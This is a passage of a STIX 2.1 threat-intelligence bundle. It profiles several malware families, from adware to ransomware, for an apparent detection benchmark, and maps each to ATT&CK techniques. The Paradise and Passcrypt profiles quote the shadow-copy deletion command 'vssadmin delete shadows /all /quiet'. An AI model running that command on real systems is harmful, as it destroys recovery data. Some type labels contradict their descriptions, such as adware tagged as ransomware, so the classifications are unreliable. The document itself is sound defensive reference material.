      "spec_version": "2.1",
      "id": "relationship--d4c7980e-4fa6-57b4-a530-729fa43bcfd2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--50288563-d611-5ece-8866-d611113446e9",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pantera exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9b55a941-777a-5784-bad7-df9d7b264270",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--50288563-d611-5ece-8866-d611113446e9",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pantera exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9ac666dc-602b-51c5-8b88-f714066d06fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--50288563-d611-5ece-8866-d611113446e9",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pantera exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ee5f8cba-86f4-5d4e-8954-c55461adc5e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Paper",
      "description": "<h3>Executive Summary</h3>\nThe \"Paper\" malware family is typically categorized as adware, a Potentially Unwanted Program (PUP), or a browser hijacker. It is engineered to aggressively monetize an infected user's web traffic by injecting unauthorized advertisements, modifying search engine results, and tracking browsing habits without transparent consent.\n\n<h3>Infection Vector and Operational Tactics</h3>\nPaper predominantly relies on software bundling for distribution. Users inadvertently install the adware when downloading \"free\" utilities\u2014such as PDF converters, media players, or file extractors\u2014from deceptive third-party software repositories. The adware components are hidden within \"Express\" or \"Recommended\" installation paths.\n\nUpon installation, Paper embeds itself deeply within the operating system and installed web browsers (Chrome, Edge, Firefox) via malicious extensions and modified proxy settings. Its primary behaviors include:\n<ul>\n<li><strong>Ad Injection:</strong> Overlaying intrusive banner ads, pop-ups, and in-text hyperlinks on legitimate websites, severely degrading the user experience.</li>\n<li><strong>Search Hijacking:</strong> Forcing the default search engine and homepage to redirect to an affiliate-controlled search portal, ensuring the adware operators receive a commission for every query.</li>\n<li><strong>Data Harvesting:</strong> Continuously tracking the user's browsing history, search terms, and location data to build profiles for targeted advertising or to sell to third-party data brokers.</li>\n</ul>\n\n<h3>Security and Privacy Risks</h3>\nWhile Paper does not typically exhibit destructive capabilities like ransomware, it poses a significant risk to user privacy and system stability. The injected advertisements are frequently served by low-reputation ad networks, increasing the likelihood of \"malvertising\" attacks that can lead to severe secondary infections.\n\n<h3>Mitigation and Removal</h3>\n<ul>\n<li><strong>Browser Remediation:</strong> Remove any unknown or suspicious browser extensions. Perform a complete reset of the affected web browsers to clear modified search and homepage settings.</li>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable anti-malware or EDR solution to scan for and remove the underlying executables and registry modifications associated with the Paper family.</li>\n<li><strong>Software Policies:</strong> Enforce strict application control policies (e.g., AppLocker) to prevent users from executing unapproved software installers that frequently bundle adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Paper",
        "PUP.Paper",
        "BrowserModifier.Paper"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Paper",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/paper"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f35b866c-f10a-51f8-98f0-b14b95691d33",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ee5f8cba-86f4-5d4e-8954-c55461adc5e2",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Paper exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8f9930c9-f61f-5b16-9388-72224e138149",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ee5f8cba-86f4-5d4e-8954-c55461adc5e2",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Paper exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e9bf8aa6-60d6-568e-86b5-9de6ce1e0d51",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ee5f8cba-86f4-5d4e-8954-c55461adc5e2",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Paper exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9ad875be-b4c3-52b9-93e0-af77ef269a3a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Paph",
      "description": "Trojan:Win32/Paph is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Paph</b><br>To an end-user, a Paph infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Paph is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Paph is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Paph frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Paph reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Paph",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/paph"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1eafe12f-20a5-54b1-98db-6821c760d56d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ad875be-b4c3-52b9-93e0-af77ef269a3a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Paph exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e5bfa882-2192-5cb1-92fd-81f8018c85dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ad875be-b4c3-52b9-93e0-af77ef269a3a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Paph exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--573f6721-eee0-588b-846a-5f20de4ab447",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ad875be-b4c3-52b9-93e0-af77ef269a3a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Paph exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--245c42cc-cff2-5fc4-82bc-860d8963a861",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ad875be-b4c3-52b9-93e0-af77ef269a3a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Paph exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7efe1841-4d62-58a8-835f-da6ea844ab09",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ad875be-b4c3-52b9-93e0-af77ef269a3a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Paph exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--db814dab-6306-5445-a4a4-fb926fd6c4dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Papras",
      "description": "Papras (classified across cybersecurity vendors as Trojan:Win32/Papras, PWS:Win32/Papras, and Trojan-PSW.Win32.Papras) is a modular password stealer and banking trojan family targeting Windows environments. Disseminated primarily via malicious spam attachments and exploit kits, Papras executes memory-resident credential scraping routines. It extracts stored user account credentials, autofill data, session cookies, and digital certificates from popular web browsers (Chrome, Firefox, Internet Explorer/Edge) and email clients (Outlook, Thunderbird), as well as FTP clients (FileZilla, Total Commander). Papras injects its payload into legitimate processes (such as svchost.exe or explorer.exe) to evade security hooks, encrypting exfiltrated logs via RC4 or AES before transmitting them over HTTP/HTTPS to remote command-and-control servers. (Observed samples in benchmark: 15)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Papras",
        "PWS:Win32/Papras",
        "Trojan-PSW.Win32.Papras",
        "Win32/Papras",
        "Papras Stealer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Papras",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/papras"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--05fd6cbb-69b3-5d89-bbf2-eb6c07d3f900",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db814dab-6306-5445-a4a4-fb926fd6c4dd",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Papras exhibits technique T1185 (Man-in-the-Browser)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--90bd6f87-7793-5617-ad6e-0c715bbb2caf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db814dab-6306-5445-a4a4-fb926fd6c4dd",
      "target_ref": "attack-pattern--510c8478-024c-53be-b9d9-53f9b7c3bc2c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Papras exhibits technique T1111 (Two-Factor Authentication Interception)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--557c425d-e01b-54f7-9789-61d7d4c1cc30",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db814dab-6306-5445-a4a4-fb926fd6c4dd",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Papras exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3a48039b-49f2-553b-9c39-44cb438e6df4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db814dab-6306-5445-a4a4-fb926fd6c4dd",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Papras exhibits technique T1498 (Network Denial of Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a9d8c8e-e5db-5540-a067-8d66baa16f6f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db814dab-6306-5445-a4a4-fb926fd6c4dd",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Papras exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ba5d00a1-2f9b-5e4e-b47f-8f2804038b93",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Paradise",
      "description": "Ransom:Win32/Paradise is a prolific crypto-ransomware family operating under a Ransomware-as-a-Service (RaaS) model. It allows affiliates to distribute the malware while the core developers maintain the payment portals and decryption infrastructure. It is characterized by appending the `.paradise` (or similar variations) extension to encrypted files and dropping an HTML ransom note.<br><br><b>Understanding Paradise (Ransomware-as-a-Service)</b><br>To an end-user, Paradise represents a catastrophic loss of access to all personal and business files. For an enterprise, an infection often indicates a broader failure in email filtering (as it is heavily distributed via malspam) or a failure to secure remote access points. Because it operates as a RaaS, the initial access techniques can vary wildly depending on which affiliate is conducting the attack.<br><br><b>Execution and Extortion Mechanics</b><br>Paradise is frequently delivered via spear-phishing campaigns containing malicious IQY (Internet Query) files, macros, or `.js` scripts that download the payload (`T1566.001`). Upon execution, Paradise often attempts to disable antivirus software and services related to SQL databases or Exchange servers to ensure those files are unlocked for encryption (`T1489`). It achieves persistence via Registry Run keys (`T1547.001`). Before encrypting, it executes commands to delete Volume Shadow Copies (`vssadmin delete shadows /all /quiet`) (`T1490`). It uses strong encryption (often RSA-1024 or Salsa20) (`T1486`), iterating through local drives and network shares, explicitly targeting high-value data files while avoiding critical Windows system files to keep the OS bootable so the victim can view the ransom note.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is severe data encryption and operational downtime. Host-based IoCs include files renamed with the `__{ID}_{Email}.paradise` format, EDR alerts for `vssadmin.exe` execution, and the sudden termination of database processes. The presence of the ransom note (often `Instructions with your files.txt` or `.html`) on the desktop is a definitive indicator. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Paradise",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/paradise"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3f7878bd-6334-5227-80bc-28fc85e50dc5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba5d00a1-2f9b-5e4e-b47f-8f2804038b93",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Paradise exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9cf9d8d7-07ef-5522-9db8-174a91113ae4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba5d00a1-2f9b-5e4e-b47f-8f2804038b93",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Paradise exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--688466ea-7a26-538f-b015-b5349ceeb685",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba5d00a1-2f9b-5e4e-b47f-8f2804038b93",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Paradise exhibits technique T1489 (Service Stop (Stopping databases to encrypt them))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7beceb15-fc1d-5b5b-be79-db19b7a1523f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba5d00a1-2f9b-5e4e-b47f-8f2804038b93",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Paradise exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--89247325-0c9f-5c3e-a6d6-c5fd844a1abc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Parite",
      "description": "Parite (tracked across cybersecurity vendor signatures as Virus:Win32/Parite.B, Virus.Win32.Parite.b, Pinfi, PE_PARITE.A, and W32.Pinite) is an infamous, highly destructive polymorphic Windows portable executable (PE) file infector active since 2001. Regarded as one of the most prolific polymorphic parasitic viruses in cybersecurity history, Parite spreads rapidly by attaching its encrypted viral code to legitimate 32-bit Windows executables (.exe) and screen savers (.scr) across all local fixed disks and accessible network mapped drives. Upon initial execution of an infected host binary, Parite unpacks a hidden dynamic link library (typically dropped into %TEMP% with a random .tmp extension) and injects it into the Windows shell process explorer.exe. Operating from the trusted context of explorer.exe, the virus initiates continuous background threads that enumerate directories, parse PE headers, append polymorphic encrypted viral sections to host binaries, and rewrite the AddressOfEntryPoint to execute viral routines prior to handing control back to the host application, causing severe lateral movement across corporate networks. (Observed samples in benchmark: 163)",
      "is_family": true,
      "malware_types": [
        "virus"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Virus:Win32/Parite.B",
        "Virus:Win32/Parite.A",
        "Virus.Win32.Parite.b",
        "Pinfi",
        "PE_PARITE.A",
        "W32.Pinite"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Parite",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/parite"
        }
      ],
      "labels": [
        "file_infector",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1132d560-1671-547a-84f3-0f37f4c5af09",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--89247325-0c9f-5c3e-a6d6-c5fd844a1abc",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Parite exhibits technique T1055.001 (Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d663f321-4c2a-5cc9-bd89-7df8a48c95c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--89247325-0c9f-5c3e-a6d6-c5fd844a1abc",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Parite exhibits technique T1027.002 (Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4fa8ad8e-68fc-50f7-a6f2-eb8669030457",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--89247325-0c9f-5c3e-a6d6-c5fd844a1abc",
      "target_ref": "attack-pattern--d66030a6-0b1f-5824-ae5f-d3704d249837",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Parite exhibits technique T1021.002 (Remote Services: SMB/Windows Admin Shares)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7fe30b0f-89ad-51bc-a74c-f7a6dee2ef60",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--89247325-0c9f-5c3e-a6d6-c5fd844a1abc",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Parite exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--614bb415-de63-57f8-a1f8-0ff56b792273",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--89247325-0c9f-5c3e-a6d6-c5fd844a1abc",
      "target_ref": "attack-pattern--a1097f7e-2aee-5bd4-ba08-a98048ff4e08",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Parite exhibits technique T1485 (Data Destruction)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9c2a70f5-e9db-5739-b21c-3044892cd4ed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Passcrypt",
      "description": "Ransom:Win32/Passcrypt (or Trojan:Win32/Passcrypt) is a severe threat generally classified as Ransomware or a destructive Password Stealer. It is designed to extort victims by either strongly encrypting critical personal or corporate data, or by exfiltrating highly sensitive credentials and threatening to release or misuse them unless a ransom is paid. The encryption routines utilized are typically unbreakable without the attacker's private key.<br><br><b>Understanding Passcrypt</b><br>To an end-user, a Passcrypt infection represents an immediate crisis: documents and databases are suddenly inaccessible, appended with a strange extension, and a ransom note (often a `.txt` or `.hta` file) is presented on the desktop. For an enterprise, it triggers a 'Code Red' incident response, requiring immediate network isolation to prevent lateral movement and the encryption of enterprise file shares and backups.<br><br><b>Execution and Extortion Mechanics</b><br>Passcrypt is frequently distributed via targeted phishing (`T1566.001`), exploit kits, or dropped by other initial access malware (like Emotet or Trickbot). Upon execution, it achieves persistence (`T1547.001`) and actively attempts to impair endpoint defenses (`T1562.001`). Crucially, before encryption begins, Passcrypt often executes commands like `vssadmin.exe delete shadows /all /quiet` to destroy Windows Volume Shadow Copies, preventing easy system restoration (`T1490`). It then rapidly iterates through the filesystem and mapped network drives, encrypting files matching high-value extensions (e.g., `.docx`, `.sql`, `.pdf`) using AES/RSA algorithms (`T1486`). Advanced variants may also exfiltrate sensitive data *before* encryption to enable 'Double Extortion'.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is catastrophic data loss and potential regulatory fines if data was exfiltrated. Host-based IoCs include massive spikes in disk I/O and CPU usage during the encryption phase, the sudden appearance of ransom note files in every directory, and EDR alerts for `vssadmin.exe` or `wmic.exe` attempting to delete shadow copies. Network IoCs may include anomalous, high-volume outbound traffic if the ransomware incorporates a data exfiltration module. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Passcrypt",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/passcrypt"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01fe7cc9-85aa-56bd-accd-748b83a3f00a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9c2a70f5-e9db-5739-b21c-3044892cd4ed",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Passcrypt exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9fc53946-7caa-5fab-9714-0e7f8a7a9a3d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9c2a70f5-e9db-5739-b21c-3044892cd4ed",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Passcrypt exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--56396ed0-b094-59ae-ba80-57f5715d7fb7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9c2a70f5-e9db-5739-b21c-3044892cd4ed",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Passcrypt exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e92603a7-2db9-5215-ba94-bc14068fe6dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9c2a70f5-e9db-5739-b21c-3044892cd4ed",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Passcrypt exhibits technique T1048 (Exfiltration Over Alternative Protocol (Double Extortion))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c46223ec-bba2-5417-97f2-2e5c70a526b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Passcv",
